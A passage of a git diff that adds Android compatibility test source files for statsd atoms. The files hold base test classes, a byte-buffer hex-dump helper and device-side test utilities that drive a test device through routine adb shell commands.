+    }
+
+    /**
+     * Removes all elements from data after to the last occurrence of an element of state. After
+     * this method is called, the last element of data (if non-empty) is guaranteed to be an
+     * element in state.
+     *
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public void popUntilFindFromEnd(List<EventMetricData> data, Set<Integer> state,
+        Function<Atom, Integer> getStateFromAtom) {
+        int lastStateIdx;
+        for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
+            Atom atom = data.get(lastStateIdx).getAtom();
+            if (state.contains(getStateFromAtom.apply(atom))) {
+                break;
+            }
+        }
+        if (lastStateIdx == data.size()-1) {
+            // Last element already is in state, so there's nothing to do.
+            return;
+        }
+        data.subList(lastStateIdx+1, data.size()).clear();
+    }
+
+    /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
+    protected int getHostUid() throws DeviceNotAvailableException {
+        String strUid = "";
+        try {
+            strUid = getDevice().executeShellCommand("id -u");
+            return Integer.parseInt(strUid.trim());
+        } catch (NumberFormatException e) {
+            LogUtil.CLog.e("Failed to get host's uid via shell command. Found " + strUid);
+            // Fall back to alternative method...
+            if (getDevice().isAdbRoot()) {
+                return 0; // ROOT
+            } else {
+                return 2000; // SHELL
+            }
+        }
+    }
+
+    protected String getProperty(String prop) throws Exception {
+        return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
+    }
+
+    protected void turnScreenOn() throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("wm dismiss-keyguard");
+    }
+
+    protected void turnScreenOff() throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+    }
+
+    protected void setChargingState(int state) throws Exception {
+        getDevice().executeShellCommand("cmd battery set status " + state);
+    }
+
+    protected void unplugDevice() throws Exception {
+        // On batteryless devices on Android P or above, the 'unplug' command
+        // alone does not simulate the really unplugged state.
+        //
+        // This is because charging state is left as "unknown". Unless a valid
+        // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
+        // framework does not consider the device as running on battery.
+        setChargingState(3);
+
+        getDevice().executeShellCommand("cmd battery unplug");
+    }
+
+    protected void plugInAc() throws Exception {
+        getDevice().executeShellCommand("cmd battery set ac 1");
+    }
+
+    protected void enableLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats enable");
+    }
+
+    protected void resetLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats reset");
+    }
+
+    protected void disableLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats disable");
+    }
+
+    protected void enableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
+    }
+
+    protected void resetBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
+    }
+
+    protected void disableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
+    }
+
+    protected void binderStatsNoSampling() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
+    }
+
+    public void setAppBreadcrumbPredicate() throws Exception {
+        doAppBreadcrumbReportedStart(1);
+    }
+
+    public void clearAppBreadcrumbPredicate() throws Exception {
+        doAppBreadcrumbReportedStart(2);
+    }
+
+    public void doAppBreadcrumbReportedStart(int label) throws Exception {
+        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.START.ordinal());
+    }
+
+    public void doAppBreadcrumbReportedStop(int label) throws Exception {
+        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.STOP.ordinal());
+    }
+
+    public void doAppBreadcrumbReported(int label) throws Exception {
+        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
+    }
+
+    public void doAppBreadcrumbReported(int label, int state) throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "cmd stats log-app-breadcrumb %d %d", label, state));
+    }
+
+    protected void rebootDevice() throws Exception {
+        getDevice().rebootUntilOnline();
+    }
+
+    /**
+     * Asserts that the two events are within the specified range of each other.
+     *
+     * @param d0        the event that should occur first
+     * @param d1        the event that should occur second
+     * @param minDiffMs d0 should precede d1 by at least this amount
+     * @param maxDiffMs d0 should precede d1 by at most this amount
+     */
+    public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
+            int minDiffMs, int maxDiffMs) {
+        long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
+        assertWithMessage("Illegal time difference")
+            .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
+    }
+
+    protected String getCurrentLogcatDate() throws Exception {
+        // TODO: Do something more robust than this for getting logcat markers.
+        long timestampMs = getDevice().getDeviceDate();
+        return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
+                .format(new Date(timestampMs));
+    }
+
+    protected String getLogcatSince(String date, String logcatParams) throws Exception {
+        return getDevice().executeShellCommand(String.format(
+                "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
+    }
+
+    // TODO: Remove this and migrate all usages to createConfigBuilder()
+    protected StatsdConfig.Builder getPulledConfig() {
+        return createConfigBuilder();
+    }
+    /**
+     * Determines if the device has the given feature.
+     * Prints a warning if its value differs from requiredAnswer.
+     */
+    protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
+        final String features = getDevice().executeShellCommand("pm list features");
+        boolean hasIt = features.contains(featureName);
+        if (hasIt != requiredAnswer) {
+            LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+                    + featureName);
+        }
+        return hasIt == requiredAnswer;
+    }
+
+    // Checks that a timestamp has been truncated to be a multiple of 5 min
+    protected void assertTimestampIsTruncated(long timestampNs) {
+        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
+        assertWithMessage("Timestamp is not truncated")
+                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BaseTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BaseTestCase.java
new file mode 100644
index 0000000..64d33ee
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BaseTestCase.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.protobuf.InvalidProtocolBufferException;
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+// Largely copied from incident's ProtoDumpTestCase
+public class BaseTestCase extends DeviceTestCase implements IBuildReceiver {
+
+    protected IBuildInfo mCtsBuild;
+
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public IBuildInfo getBuild() {
+        return mCtsBuild;
+    }
+
+    /**
+     * Call onto the device with an adb shell command and get the results of
+     * that as a proto of the given type.
+     *
+     * @param parser A protobuf parser object. e.g. MyProto.parser()
+     * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
+     *
+     * @throws DeviceNotAvailableException If there was a problem communicating with
+     *      the test device.
+     * @throws InvalidProtocolBufferException If there was an error parsing
+     *      the proto. Note that a 0 length buffer is not necessarily an error.
+     */
+    public <T extends MessageLite> T getDump(Parser<T> parser, String command)
+            throws DeviceNotAvailableException, InvalidProtocolBufferException {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        getDevice().executeShellCommand(command, receiver);
+        if (false) {
+            CLog.d("Command output while parsing " + parser.getClass().getCanonicalName()
+                    + " for command: " + command + "\n"
+                    + BufferDebug.debugString(receiver.getOutput(), -1));
+        }
+        try {
+            return parser.parseFrom(receiver.getOutput());
+        } catch (Exception ex) {
+            CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for command: "
+                    + command
+                    + BufferDebug.debugString(receiver.getOutput(), 16384));
+            throw ex;
+        }
+    }
+
+    /**
+     * Install a device side test package.
+     *
+     * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
+     * @param grantPermissions whether to give runtime permissions.
+     */
+    protected void installPackage(String appFileName, boolean grantPermissions)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        final String result = getDevice().installPackage(
+                buildHelper.getTestFile(appFileName), true, grantPermissions);
+        assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
+            .that(result).isNull();
+    }
+
+    protected CompatibilityBuildHelper getBuildHelper() {
+        return new CompatibilityBuildHelper(mCtsBuild);
+    }
+
+    /**
+     * Run a device side test.
+     *
+     * @param pkgName Test package name, such as "com.android.server.cts.netstats".
+     * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
+     * @param testMethodName Test method name.
+     * @return {@link TestRunResult} of this invocation.
+     * @throws DeviceNotAvailableException
+     */
+    @Nonnull
+    protected TestRunResult runDeviceTests(@Nonnull String pkgName,
+            @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+                pkgName, TEST_RUNNER, getDevice().getIDevice());
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new Error("Failed to successfully run device tests for "
+                    + result.getName() + ": " + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new Error("No tests were run on the device");
+        }
+
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+
+        return result;
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BufferDebug.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BufferDebug.java
new file mode 100644
index 0000000..ae85bb3
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BufferDebug.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.statsd;
+
+import java.nio.charset.StandardCharsets;
+import java.util.Formatter;
+
+/**
+ * Print utility for byte[].
+ */
+public class BufferDebug {
+    private static final int HALF_WIDTH = 8;
+
+    /**
+     * Number of bytes represented per row in hex output.
+     */
+    public static final int WIDTH = HALF_WIDTH * 2;
+
+    /**
+     * Return a string suitable for debugging.
+     * - If the byte is printable as an ascii string, return that, in quotation marks,
+     *   with a newline at the end.
+     * - Otherwise, return the hexdump -C style output.
+     *
+     * @param buf the buffer
+     * @param max print up to _max_ bytes, or the length of the string. If max is 0,
+     *      print the whole contents of buf.
+     */
+    public static String debugString(byte[] buf, int max) {
+        if (buf == null) {
+            return "(null)";
+        }
+        if (buf.length == 0) {
+            return "(length 0)";
+        }
+
+        int len = max;
+        if (len <= 0 || len > buf.length) {
+            max = len = buf.length;
+        }
+
+        if (isPrintable(buf, len)) {
+            return "\"" + new String(buf, 0, len, StandardCharsets.UTF_8) + "\"\n";
+        } else {
+            return toHex(buf, len, max);
+        }
+    }
+
+    private static String toHex(byte[] buf, int len, int max) {
+        final StringBuilder str = new StringBuilder();
+
+        // All but the last row
+        int rows = len / WIDTH;
+        for (int row = 0; row < rows; row++) {
+            writeRow(str, buf, row * WIDTH, WIDTH, max);
+        }
+
+        // Last row
+        if (len % WIDTH != 0) {
+            writeRow(str, buf, rows * WIDTH, max - (rows * WIDTH), max);
+        }
+
+        // Final len
+        str.append(String.format("%10d 0x%08x  ", buf.length, buf.length));
+        if (buf.length != max) {
+            str.append(String.format("truncated to %d 0x%08x", max, max));
+        }
+        str.append('\n');
+
+        return str.toString();
+    }
+
+    private static void writeRow(StringBuilder str, byte[] buf, int start, int len, int max) {
+        final Formatter f = new Formatter(str);
+
+        // Start index
+        f.format("%10d 0x%08x  ", start, start);
+
+        // One past the last char we will print
+        int end = start + len;
+        // Number of missing caracters due to this being the last line.
+        int padding = 0;
+        if (start + WIDTH > max) {
+            padding = WIDTH - (end % WIDTH);
+            end = max;
+        }
+
+        // Hex
+        for (int i = start; i < end; i++) {
+            f.format("%02x ", buf[i]);
+            if (i == start + HALF_WIDTH - 1) {
+                str.append(" ");
+            }
+        }
+        for (int i = 0; i < padding; i++) {
+            str.append("   ");
+        }
+        if (padding >= HALF_WIDTH) {
+            str.append(" ");
+        }
+
+        str.append("  ");
+        for (int i = start; i < end; i++) {
+            byte b = buf[i];
+            if (isPrintable(b)) {
+                str.append((char)b);
+            } else {
+                str.append('.');
+            }
+            if (i == start + HALF_WIDTH - 1) {
+                str.append("  ");
+            }
+        }
+
+        str.append('\n');
+    }
+
+    private static boolean isPrintable(byte[] buf, int len) {
+        for (int i=0; i<len; i++) {
+            if (!isPrintable(buf[i])) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    private static boolean isPrintable(byte c) {
+        return c >= 0x20 && c <= 0x7e;
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/DeviceAtomTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/DeviceAtomTestCase.java
new file mode 100644
index 0000000..127734a
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/DeviceAtomTestCase.java
@@ -0,0 +1,329 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.MessageMatcher;
+import com.android.internal.os.StatsdConfigProto.Position;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.log.LogUtil;
+
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Base class for testing Statsd atoms that report a uid. Tests are performed via a device-side app.
+ */
+public class DeviceAtomTestCase extends AtomTestCase {
+
+    public static final String DEVICE_SIDE_TEST_APK = "CtsStatsdApp.apk";
+    public static final String DEVICE_SIDE_TEST_PACKAGE =
+            "com.android.server.cts.device.statsd";
+    public static final long DEVICE_SIDE_TEST_PACKAGE_VERSION = 10;
+    public static final String DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME =
+            "com.android.server.cts.device.statsd.StatsdCtsForegroundService";
+    private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT =
+            "com.android.server.cts.device.statsd/.StatsdCtsBackgroundService";
+    public static final long DEVICE_SIDE_TEST_PKG_HASH =
+            Long.parseUnsignedLong("15694052924544098582");
+
+    // Constants from device side tests (not directly accessible here).
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_LMK = "action.lmk";
+
+    public static final String CONFIG_NAME = "cts_config";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        installTestApp();
+        Thread.sleep(1000);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        super.tearDown();
+    }
+
+    /**
+     * Performs a device-side test by calling a method on the app and returns its stats events.
+     * @param methodName the name of the method in the app's AtomTests to perform
+     * @param atom atom tag (from atoms.proto)
+     * @param key atom's field corresponding to state
+     * @param stateOn 'on' value
+     * @param stateOff 'off' value
+     * @param minTimeDiffMs max allowed time between start and stop
+     * @param maxTimeDiffMs min allowed time between start and stop
+     * @param demandExactlyTwo whether there must be precisely two events logged (1 start, 1 stop)
+     * @return list of events with the app's uid matching the configuration defined by the params.
+     */
+    protected List<EventMetricData> doDeviceMethodOnOff(
+            String methodName, int atom, int key, int stateOn, int stateOff,
+            int minTimeDiffMs, int maxTimeDiffMs, boolean demandExactlyTwo) throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOn));
+        addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOff));
+        List<EventMetricData> data = doDeviceMethod(methodName, conf);
+
+        if (demandExactlyTwo) {
+            assertThat(data).hasSize(2);
+        } else {
+            assertThat(data.size()).isAtLeast(2);
+        }
+        assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
+        return data;
+    }
+
+    /**
+     *
+     * @param methodName the name of the method in the app's AtomTests to perform
+     * @param cfg statsd configuration
+     * @return list of events with the app's uid matching the configuration.
+     */
+    protected List<EventMetricData> doDeviceMethod(String methodName, StatsdConfig.Builder cfg)
+            throws Exception {
+        removeConfig(CONFIG_ID);
+        getReportList();  // Clears previous data on disk.
+        uploadConfig(cfg);
+        int appUid = getUid();
+        LogUtil.CLog.d("\nPerforming device-side test of " + methodName + " for uid " + appUid);
+        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", methodName);
+
+        return getEventMetricDataList();
+    }
+
+    protected void createAndUploadConfig(int atomTag, boolean useAttribution) throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, atomTag, useAttribution);
+        uploadConfig(conf);
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the given key AND has the app's uid.
+     * @param conf configuration
+     * @param atomTag atom tag (from atoms.proto)
+     * @param fvm FieldValueMatcher.Builder for the relevant key
+     */
+    @Override
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag, FieldValueMatcher.Builder fvm)
+            throws Exception {
+
+        final int UID_KEY = 1;
+        FieldValueMatcher.Builder fvmUid = createAttributionFvm(UID_KEY);
+        addAtomEvent(conf, atomTag, Arrays.asList(fvm, fvmUid));
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the app's uid.
+     * @param conf configuration
+     * @param atomTag atom tag (from atoms.proto)
+     * @param useAttribution If true, the atom has a uid within an attribution node. Else, the atom
+     * has a uid but not in an attribution node.
+     */
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
+            boolean useAttribution) throws Exception {
+        final int UID_KEY = 1;
+        FieldValueMatcher.Builder fvmUid;
+        if (useAttribution) {
+            fvmUid = createAttributionFvm(UID_KEY);
+        } else {
+            fvmUid = createFvm(UID_KEY).setEqString(DEVICE_SIDE_TEST_PACKAGE);
+        }
+        addAtomEvent(conf, atomTag, Arrays.asList(fvmUid));
+    }
+
+    /**
+     * Creates a FieldValueMatcher for atoms that use AttributionNode
+     */
+    protected FieldValueMatcher.Builder createAttributionFvm(int field) {
+        final int ATTRIBUTION_NODE_UID_KEY = 1;
+        return createFvm(field).setPosition(Position.ANY)
+                .setMatchesTuple(MessageMatcher.newBuilder()
+                        .addFieldValueMatcher(createFvm(ATTRIBUTION_NODE_UID_KEY)
+                                .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
+    }
+
+    /**
+     * Gets the uid of the test app.
+     */
+    protected int getUid() throws Exception {
+        int currentUser = getDevice().getCurrentUser();
+        String uidLine = getDevice().executeShellCommand("cmd package list packages -U --user "
+                + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
+        String[] uidLineParts = uidLine.split("[: ]");
+        int uid = 0;
+        // Search for the correct package name. It is possible that both
+        // com.android.server.cts.device.statsd and com.android.server.cts.device.statsdatom is
+        // retrieved.
+        for (int i = 0; i < uidLineParts.length; i++) {
+            if (DEVICE_SIDE_TEST_PACKAGE.equals(uidLineParts[i])) {
+                // the uid entry is the second entry after the package name.
+                uid = Integer.parseInt(uidLineParts[i + 2].trim());
+            }
+        }
+        assertThat(uidLineParts.length).isGreaterThan(2);
+        assertThat(uid).isGreaterThan(10000);
+        return uid;
+    }
+
+    /**
+     * Installs the test apk.
+     */
+    protected void installTestApp() throws Exception {
+        installPackage(DEVICE_SIDE_TEST_APK, true);
+        LogUtil.CLog.i("Installing device-side test app with uid " + getUid());
+        allowBackgroundServices();
+    }
+
+    /**
+     * Uninstalls the test apk.
+     */
+    protected void uninstallPackage() throws Exception{
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    /**
+     * Required to successfully start a background service from adb in O.
+     */
+    protected void allowBackgroundServices() throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
+    }
+
+    /**
+     * Runs a (background) service to perform the given action.
+     * @param actionValue the action code constants indicating the desired action to perform.
+     */
+    protected void executeBackgroundService(String actionValue) throws Exception {
+        allowBackgroundServices();
+        getDevice().executeShellCommand(String.format(
+                "am startservice -n '%s' -e %s %s",
+                DEVICE_SIDE_BG_SERVICE_COMPONENT,
+                KEY_ACTION, actionValue));
+    }
+
+    /**
+     * Runs the specified activity.
+     */
+    protected void runActivity(String activity, String actionKey, String actionValue)
+            throws Exception {
+        runActivity(activity, actionKey, actionValue, WAIT_TIME_LONG);
+    }
+
+    /**
+     * Runs the specified activity.
+     */
+    protected void runActivity(String activity, String actionKey, String actionValue,
+            long waitTime) throws Exception {
+        try (AutoCloseable a = withActivity(activity, actionKey, actionValue)) {
+            Thread.sleep(waitTime);
+        }
+    }
+
+    /**
+     * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
+     * when closed.
+     *
+     * <p>Example usage:
+     * <pre>
+     *     try (AutoClosable a = withActivity("activity", "action", "action-value")) {
+     *         doStuff();
+     *     }
+     * </pre>
+     */
+    protected AutoCloseable withActivity(String activity, String actionKey, String actionValue)
+            throws Exception {
+        String intentString = null;
+        if (actionKey != null && actionValue != null) {
+            intentString = actionKey + " " + actionValue;
+        }
+        if (intentString == null) {
+            getDevice().executeShellCommand(
+                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity);
+        } else {
+            getDevice().executeShellCommand(
+                    "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity + " -e " +
+                            intentString);
+        }
+        return () -> {
+            getDevice().executeShellCommand(
+                    "am force-stop " + DEVICE_SIDE_TEST_PACKAGE);
+            Thread.sleep(WAIT_TIME_SHORT);
+        };
+    }
+
+    protected void resetBatteryStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys batterystats --reset");
+    }
+
+    protected void clearProcStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --clear");
+    }
+
+    protected void startProcStatsTesting() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --start-testing");
+    }
+
+    protected void stopProcStatsTesting() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --stop-testing");
+    }
+
+    protected void commitProcStatsToDisk() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --commit");
+    }
+
+    protected void rebootDeviceAndWaitUntilReady() throws Exception {
+        rebootDevice();
+        // Wait for 2 mins.
+        assertWithMessage("Device failed to boot")
+            .that(getDevice().waitForBootComplete(120_000)).isTrue();
+        assertWithMessage("Stats service failed to start")
+            .that(waitForStatsServiceStart(60_000)).isTrue();
+        Thread.sleep(2_000);
+    }
+
+    protected boolean waitForStatsServiceStart(final long waitTime) throws Exception {
+        LogUtil.CLog.i("Waiting %d ms for stats service to start", waitTime);
+        int counter = 1;
+        long startTime = System.currentTimeMillis();
+        while ((System.currentTimeMillis() - startTime) < waitTime) {
+            if ("running".equals(getProperty("init.svc.statsd"))) {
+                return true;
+            }
+            Thread.sleep(Math.min(200 * counter, 2_000));
+            counter++;
+        }
+        LogUtil.CLog.w("Stats service did not start after %d ms", waitTime);
+        return false;
+    }
+
+    boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
+        final String output = getDevice().executeShellCommand(
+                "settings get global netstats_combine_subtype_enabled").trim();
+        return output.equals("1");
+    }
+
+    void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
+        getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
+                + (enable ? "1" : "0"));
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
new file mode 100644
index 0000000..8dd0984
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/HostAtomTests.java
@@ -0,0 +1,699 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.os.BatteryPluggedStateEnum;
+import android.os.BatteryStatusEnum;
+import android.os.StatsDataDumpProto;
+import android.platform.test.annotations.RestrictedBuildTest;
+import android.server.DeviceIdleModeEnum;
+import android.view.DisplayStateEnum;
+import android.telephony.NetworkTypeEnum;
+
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.BatterySaverModeStateChanged;
+import com.android.os.AtomsProto.BuildInformation;
+import com.android.os.AtomsProto.ConnectivityStateChanged;
+import com.android.os.AtomsProto.SimSlotState;
+import com.android.os.AtomsProto.SupportedRadioAccessFamily;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.collect.Range;
+import com.google.protobuf.ByteString;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Queue;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Statsd atom tests that are done via adb (hostside).
+ */
+public class HostAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.HostAtomTests";
+
+    private static final String DUMPSYS_STATS_CMD = "dumpsys stats";
+
+    // Either file must exist to read kernel wake lock stats.
